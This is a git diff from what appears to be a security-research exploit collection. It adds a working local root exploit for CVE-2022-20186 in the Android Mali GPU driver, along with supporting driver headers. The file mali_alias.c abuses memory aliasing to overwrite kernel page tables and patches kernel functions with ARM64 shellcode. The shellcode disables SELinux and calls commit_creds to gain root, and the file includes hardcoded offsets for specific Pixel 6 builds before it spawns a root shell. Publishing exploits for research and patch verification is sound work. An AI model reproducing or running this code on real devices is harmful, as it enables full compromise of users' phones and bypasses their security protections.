+#define KBASE_GPUPROP_VALUE_SIZE_U64 (0x3) + +#define KBASE_GPUPROP_PRODUCT_ID 1 +#define KBASE_GPUPROP_VERSION_STATUS 2 +#define KBASE_GPUPROP_MINOR_REVISION 3 +#define KBASE_GPUPROP_MAJOR_REVISION 4 +/* 5 previously used for GPU speed */ +#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX 6 +/* 7 previously used for minimum GPU speed */ +#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE 8 +#define KBASE_GPUPROP_TEXTURE_FEATURES_0 9 +#define KBASE_GPUPROP_TEXTURE_FEATURES_1 10 +#define KBASE_GPUPROP_TEXTURE_FEATURES_2 11 +#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE 12 + +#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE 13 +#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE 14 +#define KBASE_GPUPROP_L2_NUM_L2_SLICES 15 + +#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES 16 +#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS 17 + +#define KBASE_GPUPROP_MAX_THREADS 18 +#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE 19 +#define KBASE_GPUPROP_MAX_BARRIER_SIZE 20 +#define KBASE_GPUPROP_MAX_REGISTERS 21 +#define KBASE_GPUPROP_MAX_TASK_QUEUE 22 +#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT 23 +#define KBASE_GPUPROP_IMPL_TECH 24 + +#define KBASE_GPUPROP_RAW_SHADER_PRESENT 25 +#define KBASE_GPUPROP_RAW_TILER_PRESENT 26 +#define KBASE_GPUPROP_RAW_L2_PRESENT 27 +#define KBASE_GPUPROP_RAW_STACK_PRESENT 28 +#define KBASE_GPUPROP_RAW_L2_FEATURES 29 +#define KBASE_GPUPROP_RAW_CORE_FEATURES 30 +#define KBASE_GPUPROP_RAW_MEM_FEATURES 31 +#define KBASE_GPUPROP_RAW_MMU_FEATURES 32 +#define KBASE_GPUPROP_RAW_AS_PRESENT 33 +#define KBASE_GPUPROP_RAW_JS_PRESENT 34 +#define KBASE_GPUPROP_RAW_JS_FEATURES_0 35 +#define KBASE_GPUPROP_RAW_JS_FEATURES_1 36 +#define KBASE_GPUPROP_RAW_JS_FEATURES_2 37 +#define KBASE_GPUPROP_RAW_JS_FEATURES_3 38 +#define KBASE_GPUPROP_RAW_JS_FEATURES_4 39 +#define KBASE_GPUPROP_RAW_JS_FEATURES_5 40 +#define KBASE_GPUPROP_RAW_JS_FEATURES_6 41 +#define KBASE_GPUPROP_RAW_JS_FEATURES_7 42 +#define KBASE_GPUPROP_RAW_JS_FEATURES_8 43 +#define KBASE_GPUPROP_RAW_JS_FEATURES_9 44 +#define KBASE_GPUPROP_RAW_JS_FEATURES_10 45 +#define KBASE_GPUPROP_RAW_JS_FEATURES_11 46 +#define KBASE_GPUPROP_RAW_JS_FEATURES_12 47 +#define KBASE_GPUPROP_RAW_JS_FEATURES_13 48 +#define KBASE_GPUPROP_RAW_JS_FEATURES_14 49 +#define KBASE_GPUPROP_RAW_JS_FEATURES_15 50 +#define KBASE_GPUPROP_RAW_TILER_FEATURES 51 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0 52 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1 53 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2 54 +#define KBASE_GPUPROP_RAW_GPU_ID 55 +#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS 56 +#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE 57 +#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE 58 +#define KBASE_GPUPROP_RAW_THREAD_FEATURES 59 +#define KBASE_GPUPROP_RAW_COHERENCY_MODE 60 + +#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS 61 +#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS 62 +#define KBASE_GPUPROP_COHERENCY_COHERENCY 63 +#define KBASE_GPUPROP_COHERENCY_GROUP_0 64 +#define KBASE_GPUPROP_COHERENCY_GROUP_1 65 +#define KBASE_GPUPROP_COHERENCY_GROUP_2 66 +#define KBASE_GPUPROP_COHERENCY_GROUP_3 67 +#define KBASE_GPUPROP_COHERENCY_GROUP_4 68 +#define KBASE_GPUPROP_COHERENCY_GROUP_5 69 +#define KBASE_GPUPROP_COHERENCY_GROUP_6 70 +#define KBASE_GPUPROP_COHERENCY_GROUP_7 71 +#define KBASE_GPUPROP_COHERENCY_GROUP_8 72 +#define KBASE_GPUPROP_COHERENCY_GROUP_9 73 +#define KBASE_GPUPROP_COHERENCY_GROUP_10 74 +#define KBASE_GPUPROP_COHERENCY_GROUP_11 75 +#define KBASE_GPUPROP_COHERENCY_GROUP_12 76 +#define KBASE_GPUPROP_COHERENCY_GROUP_13 77 +#define KBASE_GPUPROP_COHERENCY_GROUP_14 78 +#define KBASE_GPUPROP_COHERENCY_GROUP_15 79 + +#define KBASE_GPUPROP_TEXTURE_FEATURES_3 80 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3 81 + +#define KBASE_GPUPROP_NUM_EXEC_ENGINES 82 + +#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC 83 +#define KBASE_GPUPROP_TLS_ALLOC 84 +#define KBASE_GPUPROP_RAW_GPU_FEATURES 85 + +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) + +#endif /* _UAPI_KBASE_JM_IOCTL_H_ */ + diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c new file mode 100644 index 0000000..b57354a --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c @@ -0,0 +1,501 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "stdbool.h" + +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "midgard.h" + +#define MALI "/dev/mali0" + +#define PAGE_SHIFT 12 + +#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576) + +#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) + +#define POOL_SIZE 16384 + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +#define KERNEL_BASE 0x80000000 + +#define OVERWRITE_INDEX 256 + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +#define AVC_DENY_2108 0x92df1c + +#define SEL_READ_ENFORCE_2108 0x942ae4 + +#define INIT_CRED_2108 0x29a0570 + +#define COMMIT_CREDS_2108 0x180b0c + +#define ADD_INIT_2108 0x9115c000 + +#define ADD_COMMIT_2108 0x912c3108 + +#define AVC_DENY_2201 0x930af4 + +#define SEL_READ_ENFORCE_2201 0x9456bc + +#define INIT_CRED_2201 0x29b0570 + +#define COMMIT_CREDS_2201 0x183df0 + +#define ADD_INIT_2201 0x9115c000 + +#define ADD_COMMIT_2201 0x9137c108 + +#define AVC_DENY_2202 0x930b50 + +#define SEL_READ_ENFORCE_2202 0x94551c + +#define INIT_CRED_2202 0x29b0570 + +#define COMMIT_CREDS_2202 0x183e3c + +#define ADD_INIT_2202 0x9115c000 //add x0, x0, #0x570 + +#define ADD_COMMIT_2202 0x9138f108 //add x8, x8, #0xe3c + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2108; + +static uint64_t avc_deny = AVC_DENY_2108; + +static int atom_number = 1; + +/* +Overwriting SELinux to permissive + strb wzr, [x0] + mov x0, #0 + ret +*/ +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +struct base_mem_handle { + struct { + __u64 handle; + } basep; +}; + +struct base_mem_aliasing_info { + struct base_mem_handle handle; + __u64 offset; + __u64 length; +}; + +static int open_dev(char* name) { + int fd = open(name, O_RDWR); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +void setup_mali(int fd) { + struct kbase_ioctl_version_check param = {0}; + if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) { + err(1, "version check failed\n"); + } + struct kbase_ioctl_set_flags set_flags = {1 << 3}; + if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) { + err(1, "set flags failed\n"); + } +} + +void* setup_tracking_page(int fd) { + void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); + if (region == MAP_FAILED) { + err(1, "setup tracking page failed"); + } + return region; +} + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) { + err(1, "mem_alias failed\n"); + } +} + +void mem_query(int fd, union kbase_ioctl_mem_query* query) { + if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) { + err(1, "mem_query failed\n"); + } +} + +uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +uint32_t hi32(uint64_t x) { + return x >> 32; +} + +uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +uint64_t get_gpuprop(int fd, uint32_t key) { + struct kbase_ioctl_get_gpuprops props = {0}; + uint8_t buffer[0x1000] = {0}; + props.buffer = (uint64_t)(&(buffer[0])); + props.size = 0x1000; + if (ioctl(fd, KBASE_IOCTL_GET_GPUPROPS, &props) < 0) { + err(1, "get_gpuprop failed\n"); + } + int idx = 0; + while (idx < 0x1000) { + uint32_t this_key = *(uint32_t*)(&(buffer[idx])); + uint32_t size_code = this_key & 0x3; + this_key = this_key >> 2; + uint64_t value; + idx += 4; + switch (size_code) { + case 0: + value = buffer[idx]; + idx++; + break; + case 1: + value = *(uint16_t*)(&(buffer[idx])); + idx += 2; + break; + case 2: + value = *(uint32_t*)(&(buffer[idx])); + idx += 4; + break; + case 3: + value = *(uint64_t*)(&(buffer[idx])); + idx += 8; + break; + } + if (key == this_key) return value; + } + err(1, "cannot find prop\n"); + return -1; +} + +void* map_gpu(int mali_fd, unsigned int pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ | PROT_WRITE; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { + void* jc_region = map_gpu(mali_fd, 1, false, 0); + struct MALI_JOB_HEADER jh = {0}; + jh.is_64b = true; + jh.type = MALI_JOB_TYPE_WRITE_VALUE; + + struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0}; + payload.type = type; + payload.immediate_value = value; + payload.address = gpu_addr; + + MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh); + MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload); + uint32_t* section = (uint32_t*)jc_region; + struct base_jd_atom_v2 atom = {0}; + atom.jc = (uint64_t)jc_region; + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_CS; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + usleep(10000); +} + +void* drain_mem_pool(int mali_fd) { + return map_gpu(mali_fd, POOL_SIZE, false, 1); +} + +void release_mem_pool(void* drain) { + munmap(drain, POOL_SIZE * 0x1000); +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed"); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +void write_state(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + printf("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + write_to(mali_fd, overwrite_addr + func_offset, 0, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_8); + usleep(300000); + } + } + } +} + + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + printf("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + } + usleep(300000); + } + } + } +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + printf("result %d\n", result); + return result; +} + +void select_offset() { + char fingerprint[256]; + int len = __system_property_get("ro.build.fingerprint", fingerprint); + printf("fingerprint: %s\n", fingerprint); + if (!strcmp(fingerprint, "google/oriole/oriole:12/SD1A.210817.037/7862242:user/release-keys")) { + avc_deny = AVC_DENY_2108; + sel_read_enforce = SEL_READ_ENFORCE_2108; + fixup_root_shell(INIT_CRED_2108, COMMIT_CREDS_2108, SEL_READ_ENFORCE_2108, ADD_INIT_2108, ADD_COMMIT_2108); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220105.007/8030436:user/release-keys")) { + avc_deny = AVC_DENY_2201; + sel_read_enforce = SEL_READ_ENFORCE_2201; + fixup_root_shell(INIT_CRED_2201, COMMIT_CREDS_2201, SEL_READ_ENFORCE_2201, ADD_INIT_2201, ADD_COMMIT_2201); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys")) { + avc_deny = AVC_DENY_2202; + sel_read_enforce = SEL_READ_ENFORCE_2202; + fixup_root_shell(INIT_CRED_2202, COMMIT_CREDS_2202, SEL_READ_ENFORCE_2202, ADD_INIT_2202, ADD_COMMIT_2202); + return; + } + err(1, "unable to match build id\n"); +} + +//Clean up pagetable +void cleanup(int mali_fd, uint64_t gpu_va, uint64_t* reserved, size_t reserved_size) { + for (int i = 0; i < 2; i++) { + write_to(mali_fd, gpu_va + i * 0x1000 + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + } +} + +int run_exploit() { + int mali_fd = open_dev(MALI); + uint64_t gpu_va[3] = {0}; + uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; + + setup_mali(mali_fd); + + void* tracking_page = setup_tracking_page(mali_fd); + printf("tracking page %p\n", tracking_page); + + //Allocate enough pages so the page free'd later will spill into the device pool + void* drain = drain_mem_pool(mali_fd); + printf("drain %p\n", drain); + + //Regions for triggering the bug + for (int i = 0; i < 2; i++) { + void* region = map_gpu(mali_fd, 3, false, 1); + gpu_va[i] = (uint64_t)region; + } + + union kbase_ioctl_mem_alias alias = {0}; + alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + alias.in.stride = 9223372036854775808ull + 1; + + alias.in.nents = 2; + struct base_mem_aliasing_info ai[2]; + ai[0].handle.basep.handle = gpu_va[0]; + ai[1].handle.basep.handle = gpu_va[0]; + ai[0].length = 0x3; + ai[1].length = 0x3; + ai[0].offset = 0; + ai[1].offset = 0; + alias.in.aliasing_info = (uint64_t)(&(ai[0])); + mem_alias(mali_fd, &alias); + void* region = mmap(NULL, 0x2000, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + + //allocate pages before we free the ones in allocated in drain, so that these won't be allocated from the device pool + reserve_pages(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + + printf("gpu_va[0] %lx\n", gpu_va[0]); + printf("gpu_va[1] %lx\n", gpu_va[1]); + printf("alias %p\n", region); + munmap(region, 0x2000); + //Free pages allocated in drain to fill the context pool. Now the context pool is full and subsequent free will return the pages to the device pool + release_mem_pool(drain); + + //Free the doubling mapped page, the free'd pages will return to the device pool, some of which we will continue to hold a reference at gpu_va[1] + munmap((void*)(gpu_va[0]), 0x3000); + + //Map the pages reserved earlier, the size will ensure that 2 new pgd at level 3 are needed, which will be allocated from the device pool (2 pages) One of + //these pages will be doubly mapped to gpu_va[1] + 0x1000 + map_reserved(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + //Writing to gpu_va[1] will now overwrite the level 3 pgd in one of the reserved pages mapped earlier. + for (int i = 0; i < 2; i++) { + write_to(mali_fd, gpu_va[1] + i * 0x1000 + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + } + + usleep(100000); + //Go through the reserve pages addresses to write to sel_read_enforce with our own shellcode + write_func(mali_fd, avc_deny, &(reserved[0]), TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t)); + + //Triggers avc_deny to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + //Writing to gpu_va[1] will now overwrite the level 3 pgd in one of the reserved pages mapped earlier. + for (int i = 0; i < 2; i++) { + write_to(mali_fd, gpu_va[1] + i * 0x1000 + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + } + + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd, sel_read_enforce, &(reserved[0]), TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); + + run_enforce(); + + cleanup(mali_fd, gpu_va[1], &(reserved[0]), TOTAL_RESERVED_SIZE/RESERVED_SIZE); + usleep(100000); + + return 0; +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + select_offset(); + + int ret = -1; + sleep(1); + ret = run_exploit(); + if (!ret) system("sh"); +} diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h new file mode 100644 index 0000000..50a4e0c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h @@ -0,0 +1,1202 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_JM_KERNEL_H_ +#define _UAPI_BASE_JM_KERNEL_H_ + +#include + +typedef __u32 base_mem_alloc_flags; +/* Memory allocation, access/hint flags. + * + * See base_mem_alloc_flags. + */ + +/* IN */ +/* Read access CPU side + */ +#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0) + +/* Write access CPU side + */ +#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1) + +/* Read access GPU side + */ +#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2) + +/* Write access GPU side + */ +#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3) + +/* Execute allowed on the GPU side + */ +#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4) + +/* Will be permanently mapped in kernel space. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5) + +/* The allocation will completely reside within the same 4GB chunk in the GPU + * virtual space. + * Since this flag is primarily required only for the TLS memory which will + * not be used to contain executable code and also not used for Tiler heap, + * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags. + */ +#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6) + +/* Userspace is not allowed to free this memory. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7) + +#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8) + +/* Grow backing store on GPU Page Fault + */ +#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9) + +/* Page coherence Outer shareable, if available + */ +#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10) + +/* Page coherence Inner shareable + */ +#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11) + +/* IN/OUT */ +/* Should be cached on the CPU, returned if actually cached + */ +#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12) + +/* IN/OUT */ +/* Must have same VA on both the GPU and the CPU + */ +#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13) + +/* OUT */ +/* Must call mmap to acquire a GPU address for the allocation + */ +#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14) + +/* IN */ +/* Page coherence Outer shareable, required. + */ +#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15) + +/* Protected memory + */ +#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16) + +/* Not needed physical memory + */ +#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17) + +/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the + * addresses to be the same + */ +#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18) + +/** + * Bit 19 is reserved. + * + * Do not remove, use the next unreserved bit for new flags + */ +#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19) + +/** + * Memory starting from the end of the initial commit is aligned to 'extension' + * pages, where 'extension' must be a power of 2 and no more than + * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20) + +/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu + * mode. Some components within the GPU might only be able to access memory + * that is GPU cacheable. Refer to the specific GPU implementation for more + * details. The 3 shareability flags will be ignored for GPU uncached memory. + * If used while importing USER_BUFFER type memory, then the import will fail + * if the memory is not aligned to GPU and CPU cache line width. + */ +#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21) + +/* + * Bits [22:25] for group_id (0~15). + * + * base_mem_group_id_set() should be used to pack a memory group ID into a + * base_mem_alloc_flags value instead of accessing the bits directly. + * base_mem_group_id_get() should be used to extract the memory group ID from + * a base_mem_alloc_flags value. + */ +#define BASEP_MEM_GROUP_ID_SHIFT 22 +#define BASE_MEM_GROUP_ID_MASK \ + ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT) + +/* Must do CPU cache maintenance when imported memory is mapped/unmapped + * on GPU. Currently applicable to dma-buf type only. + */ +#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26) + +/* Use the GPU VA chosen by the kernel client */ +#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27) + +/* OUT */ +/* Kernel side cache sync ops required */ +#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28) + +/* Force trimming of JIT allocations when creating a new allocation */ +#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29) + +/* Number of bits used as flags for base memory management + * + * Must be kept in sync with the base_mem_alloc_flags flags + */ +#define BASE_MEM_FLAGS_NR_BITS 30 + +/* A mask of all the flags which are only valid for allocations within kbase, + * and may not be passed from user space. + */ +#define BASEP_MEM_FLAGS_KERNEL_ONLY \ + (BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \ + BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM) + +/* A mask for all output bits, excluding IN/OUT bits. + */ +#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP + +/* A mask for all input bits, including IN/OUT bits. + */ +#define BASE_MEM_FLAGS_INPUT_MASK \ + (((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK) + +/* A mask of all currently reserved flags + */ +#define BASE_MEM_FLAGS_RESERVED \ + (BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19) + +#define BASEP_MEM_INVALID_HANDLE (0ull << 12) +#define BASE_MEM_MMU_DUMP_HANDLE (1ull << 12) +#define BASE_MEM_TRACE_BUFFER_HANDLE (2ull << 12) +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) +#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ull << 12) +/* reserved handles ..-47< for future special handles */ +#define BASE_MEM_COOKIE_BASE (64ul << 12) +#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << 12) + \ + BASE_MEM_COOKIE_BASE) + +/* Similar to 